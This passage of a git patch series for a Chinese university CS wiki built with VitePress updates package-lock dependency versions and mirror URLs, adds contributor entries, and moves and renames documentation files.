} }, "@vueuse/integrations": { - "version": "10.1.2", - "resolved": "https://repo.huaweicloud.com/repository/npm/@vueuse/integrations/-/integrations-10.1.2.tgz", - "integrity": "sha512-wUpG3Wv6LiWerOwCzOAM0iGhNQ4vfFUTkhj/xQy7TLXduh2M3D8N08aS0KqlxsejY6R8NLxydDIM+68QfHZZ8Q==", + "version": "10.2.1", + "resolved": "https://registry.npmmirror.com/@vueuse/integrations/-/integrations-10.2.1.tgz", + "integrity": "sha512-FDP5lni+z9FjHE9H3xuvwSjoRV9U8jmDvJpmHPCBjUgPGYRynwb60eHWXCFJXLUtb4gSIHy0e+iaEbrKdalCkQ==", "dev": true, "requires": { - "@vueuse/core": "10.1.2", - "@vueuse/shared": "10.1.2", - "vue-demi": ">=0.14.0" + "@vueuse/core": "10.2.1", + "@vueuse/shared": "10.2.1", + "vue-demi": ">=0.14.5" }, "dependencies": { "vue-demi": { "version": "0.14.5", - "resolved": "https://repo.huaweicloud.com/repository/npm/vue-demi/-/vue-demi-0.14.5.tgz", + "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.5.tgz", "integrity": "sha512-o9NUVpl/YlsGJ7t+xuqJKx8EBGf1quRhCiT6D/J0pfwmk9zUwYkC7yrF4SZCe6fETvSM3UNL2edcbYrSyc4QHA==", "dev": true, "requires": {} @@ -4154,23 +4609,23 @@ } }, "@vueuse/metadata": { - "version": "10.1.2", - "resolved": "https://repo.huaweicloud.com/repository/npm/@vueuse/metadata/-/metadata-10.1.2.tgz", - "integrity": "sha512-3mc5BqN9aU2SqBeBuWE7ne4OtXHoHKggNgxZR2K+zIW4YLsy6xoZ4/9vErQs6tvoKDX6QAqm3lvsrv0mczAwIQ==", + "version": "10.2.1", + "resolved": "https://registry.npmmirror.com/@vueuse/metadata/-/metadata-10.2.1.tgz", + "integrity": "sha512-3Gt68mY/i6bQvFqx7cuGBzrCCQu17OBaGWS5JdwISpMsHnMKKjC2FeB5OAfMcCQ0oINfADP3i9A4PPRo0peHdQ==", "dev": true }, "@vueuse/shared": { - "version": "10.1.2", - "resolved": "https://repo.huaweicloud.com/repository/npm/@vueuse/shared/-/shared-10.1.2.tgz", - "integrity": "sha512-1uoUTPBlgyscK9v6ScGeVYDDzlPSFXBlxuK7SfrDGyUTBiznb3mNceqhwvZHjtDRELZEN79V5uWPTF1VDV8svA==", + "version": "10.2.1", + "resolved": "https://registry.npmmirror.com/@vueuse/shared/-/shared-10.2.1.tgz", + "integrity": "sha512-QWHq2bSuGptkcxx4f4M/fBYC3Y8d3M2UYyLsyzoPgEoVzJURQ0oJeWXu79OiLlBb8gTKkqe4mO85T/sf39mmiw==", "dev": true, "requires": { - "vue-demi": ">=0.14.0" + "vue-demi": ">=0.14.5" }, "dependencies": { "vue-demi": { "version": "0.14.5", - "resolved": "https://repo.huaweicloud.com/repository/npm/vue-demi/-/vue-demi-0.14.5.tgz", + "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.5.tgz", "integrity": "sha512-o9NUVpl/YlsGJ7t+xuqJKx8EBGf1quRhCiT6D/J0pfwmk9zUwYkC7yrF4SZCe6fETvSM3UNL2edcbYrSyc4QHA==", "dev": true, "requires": {} @@ -4189,25 +4644,25 @@ } }, "algoliasearch": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/algoliasearch/-/algoliasearch-4.17.2.tgz", - "integrity": "sha512-VFu43JJNYIW74awp7oeQcQsPcxOhd8psqBDTfyNO2Zt6L1NqnNMTVnaIdQ+8dtKqUDBqQZp0szPxECvX8CK2Fg==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/algoliasearch/-/algoliasearch-4.18.0.tgz", + "integrity": "sha512-pCuVxC1SVcpc08ENH32T4sLKSyzoU7TkRIDBMwSLfIiW+fq4znOmWDkAygHZ6pRcO9I1UJdqlfgnV7TRj+MXrA==", "dev": true, "requires": { - "@algolia/cache-browser-local-storage": "4.17.2", - "@algolia/cache-common": "4.17.2", - "@algolia/cache-in-memory": "4.17.2", - "@algolia/client-account": "4.17.2", - "@algolia/client-analytics": "4.17.2", - "@algolia/client-common": "4.17.2", - "@algolia/client-personalization": "4.17.2", - "@algolia/client-search": "4.17.2", - "@algolia/logger-common": "4.17.2", - "@algolia/logger-console": "4.17.2", - "@algolia/requester-browser-xhr": "4.17.2", - "@algolia/requester-common": "4.17.2", - "@algolia/requester-node-http": "4.17.2", - "@algolia/transporter": "4.17.2" + "@algolia/cache-browser-local-storage": "4.18.0", + "@algolia/cache-common": "4.18.0", + "@algolia/cache-in-memory": "4.18.0", + "@algolia/client-account": "4.18.0", + "@algolia/client-analytics": "4.18.0", + "@algolia/client-common": "4.18.0", + "@algolia/client-personalization": "4.18.0", + "@algolia/client-search": "4.18.0", + "@algolia/logger-common": "4.18.0", + "@algolia/logger-console": "4.18.0", + "@algolia/requester-browser-xhr": "4.18.0", + "@algolia/requester-common": "4.18.0", + "@algolia/requester-node-http": "4.18.0", + "@algolia/transporter": "4.18.0" } }, "ansi-colors": { @@ -4392,6 +4847,7 @@ "resolved": "https://repo.huaweicloud.com/repository/npm/esbuild/-/esbuild-0.17.19.tgz", "integrity": "sha512-XQ0jAPFkK/u3LcVRcvVHQcTIqD6E2H1fvZMA5dQPSOWb3suUbWbfbRf94pjc0bNzRYLfIrDRQXr7X+LHIm5oHw==", "dev": true, + "peer": true, "requires": { "@esbuild/android-arm": "0.17.19", "@esbuild/android-arm64": "0.17.19", @@ -4446,12 +4902,12 @@ "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" }, "focus-trap": { - "version": "7.4.3", - "resolved": "https://repo.huaweicloud.com/repository/npm/focus-trap/-/focus-trap-7.4.3.tgz", - "integrity": "sha512-BgSSbK4GPnS2VbtZ50VtOv1Sti6DIkj3+LkVjiWMNjLeAp1SH1UlLx3ULu/DCu4vq5R4/uvTm+zrvsMsuYmGLg==", + "version": "7.5.2", + "resolved": "https://registry.npmmirror.com/focus-trap/-/focus-trap-7.5.2.tgz", + "integrity": "sha512-p6vGNNWLDGwJCiEjkSK6oERj/hEyI9ITsSwIUICBoKLlWiTWXJRfQibCwcoi50rTZdbi87qDtUlMCmQwsGSgPw==", "dev": true, "requires": { - "tabbable": "^6.1.2" + "tabbable": "^6.2.0" } }, "free-style": { @@ -4756,9 +5212,9 @@ "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==" }, "postcss": { - "version": "8.4.23", - "resolved": "https://registry.npmmirror.com/postcss/-/postcss-8.4.23.tgz", - "integrity": "sha512-bQ3qMcpF6A/YjR55xtoTr0jGOlnPOKAIMdOWiv0EIT6HVPEaJiJB4NLljSbiHoC2RX7DN5Uvjtpbg1NPdwv1oA==", + "version": "8.4.25", + "resolved": "https://registry.npmmirror.com/postcss/-/postcss-8.4.25.tgz", + "integrity": "sha512-7taJ/8t2av0Z+sQEvNzCkpDynl0tX3uJMCODi6nT3PfASC7dYCWV9aQ+uiCf+KBD4SEFcu+GvJdGdwzQ6OSjCw==", "requires": { "nanoid": "^3.3.6", "picocolors": "^1.0.0", @@ -4766,9 +5222,9 @@ } }, "preact": { - "version": "10.15.1", - "resolved": "https://registry.npmmirror.com/preact/-/preact-10.15.1.tgz", - "integrity": "sha512-qs2ansoQEwzNiV5eAcRT1p1EC/dmEzaATVDJNiB3g2sRDWdA7b7MurXdJjB2+/WQktGWZwxvDrnuRFbWuIr64g==", + "version": "10.16.0", + "resolved": "https://registry.npmmirror.com/preact/-/preact-10.16.0.tgz", + "integrity": "sha512-XTSj3dJ4roKIC93pald6rWuB2qQJO9gO2iLLyTe87MrjQN+HklueLsmskbywEWqCHlclgz3/M4YLL2iBr9UmMA==", "dev": true }, "prop-types": { @@ -4831,9 +5287,9 @@ "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==" }, "rollup": { - "version": "3.23.0", - "resolved": "https://repo.huaweicloud.com/repository/npm/rollup/-/rollup-3.23.0.tgz", - "integrity": "sha512-h31UlwEi7FHihLe1zbk+3Q7z1k/84rb9BSwmBSr/XjOCEaBJ2YyedQDuM0t/kfOS0IxM+vk1/zI9XxYj9V+NJQ==", + "version": "3.26.2", + "resolved": "https://registry.npmmirror.com/rollup/-/rollup-3.26.2.tgz", + "integrity": "sha512-6umBIGVz93er97pMgQO08LuH3m6PUb3jlDUUGFsNJB6VgTCUaDFpupf5JfU30529m/UKOgmiX+uY6Sx8cOYpLA==", "dev": true, "requires": { "fsevents": "~2.3.2" @@ -4861,9 +5317,9 @@ } }, "search-insights": { - "version": "2.6.0", - "resolved": "https://registry.npmmirror.com/search-insights/-/search-insights-2.6.0.tgz", - "integrity": "sha512-vU2/fJ+h/Mkm/DJOe+EaM5cafJv/1rRTZpGJTuFPf/Q5LjzgMDsqPdSaZsAe+GAWHHsfsu+rQSAn6c8IGtBEVw==", + "version": "2.7.0", + "resolved": "https://registry.npmmirror.com/search-insights/-/search-insights-2.7.0.tgz", + "integrity": "sha512-GLbVaGgzYEKMvuJbHRhLi1qoBFnjXZGZ6l4LxOYPCp4lI2jDRB3jPU9/XNhMwv6kvnA9slTreq6pvK+b3o3aqg==", "dev": true, "peer": true }, @@ -4883,9 +5339,9 @@ "dev": true }, "shiki": { - "version": "0.14.2", - "resolved": "https://registry.npmmirror.com/shiki/-/shiki-0.14.2.tgz", - "integrity": "sha512-ltSZlSLOuSY0M0Y75KA+ieRaZ0Trf5Wl3gutE7jzLuIcWxLp5i/uEnLoQWNvgKXQ5OMpGkJnVMRLAuzjc0LJ2A==", + "version": "0.14.3", + "resolved": "https://registry.npmmirror.com/shiki/-/shiki-0.14.3.tgz", + "integrity": "sha512-U3S/a+b0KS+UkTyMjoNojvTgrBHjgp7L6ovhFVZsXmBGnVdQ4K4U9oK0z63w538S91ATngv1vXigHCSWOwnr+g==", "dev": true, "requires": { "ansi-sequence-parser": "^1.1.0", @@ -4930,9 +5386,9 @@ "integrity": "sha512-78Jv8kYJdjbvRwwijtCevYADfsI0lGzYJe4mMFdceO8l75DFFDoqBhR1jVDicDRRaX4//g1u9wKeo+ztc2h1Rw==" }, "tabbable": { - "version": "6.1.2", - "resolved": "https://repo.huaweicloud.com/repository/npm/tabbable/-/tabbable-6.1.2.tgz", - "integrity": "sha512-qCN98uP7i9z0fIS4amQ5zbGBOq+OSigYeGvPy7NDk8Y9yncqDZ9pRPgfsc2PJIVM9RrJj7GIfuRgmjoUU9zTHQ==", + "version": "6.2.0", + "resolved": "https://registry.npmmirror.com/tabbable/-/tabbable-6.2.0.tgz", + "integrity": "sha512-Cat63mxsVJlzYvN51JmVXIgNoUokrIaT2zLclCXjRd8boZ0004U4KCs/sToJ75C6sdlByWxpYnb5Boif1VSFew==", "dev": true }, "tr46": { @@ -5028,6 +5484,7 @@ "resolved": "https://repo.huaweicloud.com/repository/npm/vite/-/vite-4.3.9.tgz", "integrity": "sha512-qsTNZjO9NoJNW7KnOrgYwczm0WctJ8m/yqYAMAK9Lxt4SoySUfS5S8ia9K7JHpa3KEeMfyF8LoJ3c5NeBJy6pg==", "dev": true, + "peer": true, "requires": { "esbuild": "^0.17.5", "fsevents": "~2.3.2", @@ -5036,24 +5493,222 @@ } }, "vitepress": { - "version": "1.0.0-beta.3", - "resolved": "https://registry.npmmirror.com/vitepress/-/vitepress-1.0.0-beta.3.tgz", - "integrity": "sha512-GR5Pvr/o343NN1M4Na1shhDYZRrQbjmLq7WE0lla0H8iDPAsHE8agTHLWfu3FWx+3q2KA29sv16+0O9RQKGjlA==", + "version": "1.0.0-beta.5", + "resolved": "https://registry.npmmirror.com/vitepress/-/vitepress-1.0.0-beta.5.tgz", + "integrity": "sha512-/RjqqRsSEKkzF6HhK5e5Ij+bZ7ETb9jNCRRgIMm10gJ+ZLC3D1OqkE465lEqCeJUgt2HZ6jmWjDqIBfrJSpv7w==", "dev": true, "requires": { - "@docsearch/css": "^3.5.0", - "@docsearch/js": "^3.5.0", + "@docsearch/css": "^3.5.1", + "@docsearch/js": "^3.5.1", "@vitejs/plugin-vue": "^4.2.3", "@vue/devtools-api": "^6.5.0", - "@vueuse/core": "^10.1.2", - "@vueuse/integrations": "^10.1.2", + "@vueuse/core": "^10.2.1", + "@vueuse/integrations": "^10.2.1", "body-scroll-lock": "4.0.0-beta.0", "focus-trap": "^7.4.3", "mark.js": "8.11.1", "minisearch": "^6.1.0", - "shiki": "^0.14.2", - "vite": "^4.3.9", + "shiki": "^0.14.3", + "vite": "4.4.0-beta.3", "vue": "^3.3.4" + }, + "dependencies": { + "@esbuild/android-arm": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/android-arm/-/android-arm-0.18.12.tgz", + "integrity": "sha512-LIxaNIQfkFZbTLb4+cX7dozHlAbAshhFE5PKdro0l+FnCpx1GDJaQ2WMcqm+ToXKMt8p8Uojk/MFRuGyz3V5Sw==", + "dev": true, + "optional": true + }, + "@esbuild/android-arm64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/android-arm64/-/android-arm64-0.18.12.tgz", + "integrity": "sha512-BMAlczRqC/LUt2P97E4apTBbkvS9JTJnp2DKFbCwpZ8vBvXVbNdqmvzW/OsdtI/+mGr+apkkpqGM8WecLkPgrA==", + "dev": true, + "optional": true + }, + "@esbuild/android-x64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/android-x64/-/android-x64-0.18.12.tgz", + "integrity": "sha512-zU5MyluNsykf5cOJ0LZZZjgAHbhPJ1cWfdH1ZXVMXxVMhEV0VZiZXQdwBBVvmvbF28EizeK7obG9fs+fpmS0eQ==", + "dev": true, + "optional": true + }, + "@esbuild/darwin-arm64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/darwin-arm64/-/darwin-arm64-0.18.12.tgz", + "integrity": "sha512-zUZMep7YONnp6954QOOwEBwFX9svlKd3ov6PkxKd53LGTHsp/gy7vHaPGhhjBmEpqXEXShi6dddjIkmd+NgMsA==", + "dev": true, + "optional": true + }, + "@esbuild/darwin-x64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/darwin-x64/-/darwin-x64-0.18.12.tgz", + "integrity": "sha512-ohqLPc7i67yunArPj1+/FeeJ7AgwAjHqKZ512ADk3WsE3FHU9l+m5aa7NdxXr0HmN1bjDlUslBjWNbFlD9y12Q==", + "dev": true, + "optional": true + }, + "@esbuild/freebsd-arm64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.18.12.tgz", + "integrity": "sha512-GIIHtQXqgeOOqdG16a/A9N28GpkvjJnjYMhOnXVbn3EDJcoItdR58v/pGN31CHjyXDc8uCcRnFWmqaJt24AYJg==", + "dev": true, + "optional": true + }, + "@esbuild/freebsd-x64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-x64/-/freebsd-x64-0.18.12.tgz", + "integrity": "sha512-zK0b9a1/0wZY+6FdOS3BpZcPc1kcx2G5yxxfEJtEUzVxI6n/FrC2Phsxj/YblPuBchhBZ/1wwn7AyEBUyNSa6g==", + "dev": true, + "optional": true + }, + "@esbuild/linux-arm": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm/-/linux-arm-0.18.12.tgz", + "integrity": "sha512-y75OijvrBE/1XRrXq1jtrJfG26eHeMoqLJ2dwQNwviwTuTtHGCojsDO6BJNF8gU+3jTn1KzJEMETytwsFSvc+Q==", + "dev": true, + "optional": true + }, + "@esbuild/linux-arm64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm64/-/linux-arm64-0.18.12.tgz", + "integrity": "sha512-JKgG8Q/LL/9sw/iHHxQyVMoQYu3rU3+a5Z87DxC+wAu3engz+EmctIrV+FGOgI6gWG1z1+5nDDbXiRMGQZXqiw==", + "dev": true, + "optional": true + }, + "@esbuild/linux-ia32": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-ia32/-/linux-ia32-0.18.12.tgz", + "integrity": "sha512-yoRIAqc0B4lDIAAEFEIu9ttTRFV84iuAl0KNCN6MhKLxNPfzwCBvEMgwco2f71GxmpBcTtn7KdErueZaM2rEvw==", + "dev": true, + "optional": true + }, + "@esbuild/linux-loong64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-loong64/-/linux-loong64-0.18.12.tgz", + "integrity": "sha512-qYgt3dHPVvf/MgbIBpJ4Sup/yb9DAopZ3a2JgMpNKIHUpOdnJ2eHBo/aQdnd8dJ21X/+sS58wxHtA9lEazYtXQ==", + "dev": true, + "optional": true + }, + "@esbuild/linux-mips64el": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-mips64el/-/linux-mips64el-0.18.12.tgz", + "integrity": "sha512-wHphlMLK4ufNOONqukELfVIbnGQJrHJ/mxZMMrP2jYrPgCRZhOtf0kC4yAXBwnfmULimV1qt5UJJOw4Kh13Yfg==", + "dev": true, + "optional": true + }, + "@esbuild/linux-ppc64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-ppc64/-/linux-ppc64-0.18.12.tgz", + "integrity": "sha512-TeN//1Ft20ZZW41+zDSdOI/Os1bEq5dbvBvYkberB7PHABbRcsteeoNVZFlI0YLpGdlBqohEpjrn06kv8heCJg==", + "dev": true, + "optional": true + }, + "@esbuild/linux-riscv64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-riscv64/-/linux-riscv64-0.18.12.tgz", + "integrity": "sha512-AgUebVS4DoAblBgiB2ACQ/8l4eGE5aWBb8ZXtkXHiET9mbj7GuWt3OnsIW/zX+XHJt2RYJZctbQ2S/mDjbp0UA==", + "dev": true, + "optional": true + }, + "@esbuild/linux-s390x": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-s390x/-/linux-s390x-0.18.12.tgz", + "integrity": "sha512-dJ3Rb3Ei2u/ysSXd6pzleGtfDdc2MuzKt8qc6ls8vreP1G3B7HInX3i7gXS4BGeVd24pp0yqyS7bJ5NHaI9ing==", + "dev": true, + "optional": true + }, + "@esbuild/linux-x64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-x64/-/linux-x64-0.18.12.tgz", + "integrity": "sha512-OrNJMGQbPaVyHHcDF8ybNSwu7TDOfX8NGpXCbetwOSP6txOJiWlgQnRymfC9ocR1S0Y5PW0Wb1mV6pUddqmvmQ==", + "dev": true, + "optional": true + }, + "@esbuild/netbsd-x64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/netbsd-x64/-/netbsd-x64-0.18.12.tgz", + "integrity": "sha512-55FzVCAiwE9FK8wWeCRuvjazNRJ1QqLCYGZVB6E8RuQuTeStSwotpSW4xoRGwp3a1wUsaVCdYcj5LGCASVJmMg==", + "dev": true, + "optional": true + }, + "@esbuild/openbsd-x64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/openbsd-x64/-/openbsd-x64-0.18.12.tgz", + "integrity": "sha512-qnluf8rfb6Y5Lw2tirfK2quZOBbVqmwxut7GPCIJsM8lc4AEUj9L8y0YPdLaPK0TECt4IdyBdBD/KRFKorlK3g==", + "dev": true, + "optional": true + }, + "@esbuild/sunos-x64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/sunos-x64/-/sunos-x64-0.18.12.tgz", + "integrity": "sha512-+RkKpVQR7bICjTOPUpkTBTaJ4TFqQBX5Ywyd/HSdDkQGn65VPkTsR/pL4AMvuMWy+wnXgIl4EY6q4mVpJal8Kg==", + "dev": true, + "optional": true + }, + "@esbuild/win32-arm64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/win32-arm64/-/win32-arm64-0.18.12.tgz", + "integrity": "sha512-GNHuciv0mFM7ouzsU0+AwY+7eV4Mgo5WnbhfDCQGtpvOtD1vbOiRjPYG6dhmMoFyBjj+pNqQu2X+7DKn0KQ/Gw==", + "dev": true, + "optional": true + }, + "@esbuild/win32-ia32": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/win32-ia32/-/win32-ia32-0.18.12.tgz", + "integrity": "sha512-kR8cezhYipbbypGkaqCTWIeu4zID17gamC8YTPXYtcN3E5BhhtTnwKBn9I0PJur/T6UVwIEGYzkffNL0lFvxEw==", + "dev": true, + "optional": true + }, + "@esbuild/win32-x64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/win32-x64/-/win32-x64-0.18.12.tgz", + "integrity": "sha512-O0UYQVkvfM/jO8a4OwoV0mAKSJw+mjWTAd1MJd/1FCX6uiMdLmMRPK/w6e9OQ0ob2WGxzIm9va/KG0Ja4zIOgg==", + "dev": true, + "optional": true + }, + "esbuild": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/esbuild/-/esbuild-0.18.12.tgz", + "integrity": "sha512-XuOVLDdtsDslXStStduT41op21Ytmf4/BDS46aa3xPJ7X5h2eMWBF1oAe3QjUH3bDksocNXgzGUZ7XHIBya6Tg==", + "dev": true, + "requires": { + "@esbuild/android-arm": "0.18.12", + "@esbuild/android-arm64": "0.18.12", + "@esbuild/android-x64": "0.18.12", + "@esbuild/darwin-arm64": "0.18.12", + "@esbuild/darwin-x64": "0.18.12", + "@esbuild/freebsd-arm64": "0.18.12", + "@esbuild/freebsd-x64": "0.18.12", + "@esbuild/linux-arm": "0.18.12", + "@esbuild/linux-arm64": "0.18.12", + "@esbuild/linux-ia32": "0.18.12", + "@esbuild/linux-loong64": "0.18.12", + "@esbuild/linux-mips64el": "0.18.12", + "@esbuild/linux-ppc64": "0.18.12", + "@esbuild/linux-riscv64": "0.18.12", + "@esbuild/linux-s390x": "0.18.12", + "@esbuild/linux-x64": "0.18.12", + "@esbuild/netbsd-x64": "0.18.12", + "@esbuild/openbsd-x64": "0.18.12", + "@esbuild/sunos-x64": "0.18.12", + "@esbuild/win32-arm64": "0.18.12", + "@esbuild/win32-ia32": "0.18.12", + "@esbuild/win32-x64": "0.18.12" + } + }, + "vite": { + "version": "4.4.0-beta.3", + "resolved": "https://registry.npmmirror.com/vite/-/vite-4.4.0-beta.3.tgz", + "integrity": "sha512-IC/thYTvArOFRJ4qvvudnu4KKZOVc+gduS3I9OfC5SbP/Rf4kkP7z6Of2QpKeOSVqwIK24khW6VOUmVD/0yzSQ==", + "dev": true, + "requires": { + "esbuild": "^0.18.6", + "fsevents": "~2.3.2", + "postcss": "^8.4.24", + "rollup": "^3.25.2" + } + } } }, "vscode-oniguruma": { @@ -5175,9 +5830,9 @@ } }, "yjs": { - "version": "13.6.2", - "resolved": "https://registry.npmmirror.com/yjs/-/yjs-13.6.2.tgz", - "integrity": "sha512-shFc4JI8Hr3NqKYlS09xX6lyQwU3LvQlOXEkHK2aBa1T/luNLf0qHtoujgb9pRPxhIK0uevobHhDw0+AET1Vkw==", + "version": "13.6.6", + "resolved": "https://registry.npmmirror.com/yjs/-/yjs-13.6.6.tgz", + "integrity": "sha512-VTvezMeMuOra9jKG1Ym5XuQ2H4xXOubIIIupv/B5oygasa9IqDE7Ufv93QTSe9uz69J5VZGMQb2WTEmJv4kJFQ==", "requires": { "lib0": "^0.2.74" } diff --git a/package.json b/package.json index cd44d0a..b187c05 100644 --- a/package.json +++ b/package.json @@ -8,12 +8,12 @@ "@codemirror/lang-python": "^6.1.3", "@codemirror/lang-sql": "^6.5.2", "@jupyterlab/mathjax2": "^3.6.5", - "@jupyterlab/theme-light-extension": "^4.0.2", + "@jupyterlab/theme-light-extension": "^4.0.3", "markdown-it": "^13.0.1" }, "devDependencies": { "cross-env": "^7.0.3", "markdown-it-mathjax3": "^4.3.2", - "vitepress": "^1.0.0-beta.3" + "vitepress": "^1.0.0-beta.5" } } \ No newline at end of file From d6b3838000a8afb20fe290bf168089792ba4012f Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Fri, 14 Jul 2023 02:58:08 +0800 Subject: [PATCH 28/85] =?UTF-8?q?chore:=20=E8=B4=A1=E7=8C=AE=E8=80=85?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .vitepress/config.js | 1 + members.ts | 40 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 41 insertions(+) diff --git a/.vitepress/config.js b/.vitepress/config.js index 062501a..0e5905c 100644 --- a/.vitepress/config.js +++ b/.vitepress/config.js @@ -669,6 +669,7 @@ export default defineConfig({ pattern: 'https://github.com/camera-2018/hdu-cs-wiki/edit/master/:path', text: '在 GitHub 上修改此页' }, + externalLinkIcon: true, }, markdown: { config: (md) => { diff --git a/members.ts b/members.ts index e27f225..bc02058 100644 --- a/members.ts +++ b/members.ts @@ -85,4 +85,44 @@ export const members: Member = [ { icon: 'github', link: 'https://github.com/buwyi' }, ] }, + { + avatar: 'https://avatars.hdu-cs.wiki/E1PsyCongroo', + name: 'E1PsyCongroo', + title: 'Contributer', + links: [ + { icon: 'github', link: 'https://github.com/E1PsyCongroo' }, + ] + }, + { + avatar: 'https://avatars.hdu-cs.wiki/w31r4', + name: 'w31r4', + title: 'Contributer', + links: [ + { icon: 'github', link: 'https://github.com/w31r4' }, + ] + }, + { + avatar: 'https://avatars.hdu-cs.wiki/axiomofchoice-hjt', + name: 'Axiomofchoice', + title: 'Contributer', + links: [ + { icon: 'github', link: 'https://github.com/axiomofchoice-hjt' }, + ] + }, + { + avatar: 'https://avatars.hdu-cs.wiki/ek1ng', + name: 'ek1ng', + title: 'Contributer', + links: [ + { icon: 'github', link: 'https://github.com/ek1ng' }, + ] + }, + { + avatar: 'https://avatars.hdu-cs.wiki/Plumbiu', + name: 'Guo Xingjun', + title: 'Contributer', + links: [ + { icon: 'github', link: 'https://github.com/Plumbiu' }, + ] + }, ] From 81df65fcb2abc39a4e02ce720e925351cdae152c Mon Sep 17 00:00:00 2001 From: Plumbiu <3434909403@qq.com> Date: Fri, 14 Jul 2023 11:34:40 +0800 Subject: [PATCH 29/85] =?UTF-8?q?update:=20=E6=9B=B4=E6=94=B9=E6=96=87?= =?UTF-8?q?=E4=BB=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../5.1嵌入式是什么?可以吃吗?.md | 8 +------- 5.富有生命的嵌入式/5.富有生命的嵌入式.md | 7 ++++++- 2 files changed, 7 insertions(+), 8 deletions(-) diff --git a/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md b/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md index 02c9d5e..1faca46 100644 --- a/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md +++ b/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md @@ -1,12 +1,6 @@ # 嵌入式是什么?可以吃吗? -Author:肖扬 - -孵化器实验室 2023 招新群(QQ): 879805955 - -预热 OJ 平台:[OJ 平台(C 语言为主)](http://hdufhq.cn/) - -> 实验室不仅有嵌入式方向,还有硬件、网络 web 开发方向! +> Author:肖扬 # 概念引入与讲解 diff --git a/5.富有生命的嵌入式/5.富有生命的嵌入式.md b/5.富有生命的嵌入式/5.富有生命的嵌入式.md index 69a02f1..7c88e20 100644 --- a/5.富有生命的嵌入式/5.富有生命的嵌入式.md +++ b/5.富有生命的嵌入式/5.富有生命的嵌入式.md @@ -1,7 +1,12 @@ # 5.富有生命的嵌入式 -> Author:肖扬 +Author:肖扬 +孵化器实验室 2023 招新群(QQ): 879805955 + +预热 OJ 平台:[OJ 平台(C 语言为主)](http://hdufhq.cn/) + +> 实验室不仅有嵌入式方向,还有硬件、网络 web 开发方向! 在本模块,我们将为你讲述何为嵌入式、如何学嵌入式、如何爱上嵌入式 From cb9764ae3d8c5ad18cb236adb6084ff99dddb438 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Fri, 14 Jul 2023 17:33:09 +0800 Subject: [PATCH 30/85] =?UTF-8?q?docs:=20=E6=9B=B4=E6=94=B9=E7=AC=AC?= =?UTF-8?q?=E4=B8=83=E7=AB=A0=E6=A0=87=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .vitepress/config.js | 46 ++++--- .vitepress/theme/style.css | 6 + .../7.1.1.1基础部分.md | 0 .../7.1.1.2进阶部分.md | 0 ....3附录1:前端介绍(详细版).md | 0 .../7.1.1.4附录2:大前端开发.md | 0 .../7.1.1.5附录3:跨端开发.md | 0 .../7.1.1前端部分.md | 0 .../7.1.2.1基础部分.md | 0 .../7.1.2.2进阶部分.md | 0 .../7.1.2后端部分.md | 0 .../7.1WEB开发入门.md | 6 +- .../7.网络应用开发入门.md | 3 + .../static/20191118BrYZzg.jpg | Bin .../static/20191118PGkkRz.jpg | Bin .../static/20191118aoefIO.jpg | Bin .../static/235436487dsfhtwuytjyfj.png | Bin .../static/3465ytyjyjy.png | Bin .../static/Snipaste_2023-04-22_18-57-44.png | Bin .../static/boxcnFZwQVTUWkfsbNxYfJkgPDg.png | Bin .../static/boxcnJ13CDzxp9lwEtGivTuJ4nh.png | Bin .../static/boxcnRaBolh8i2FkoIJW69a5g3e.png | Bin 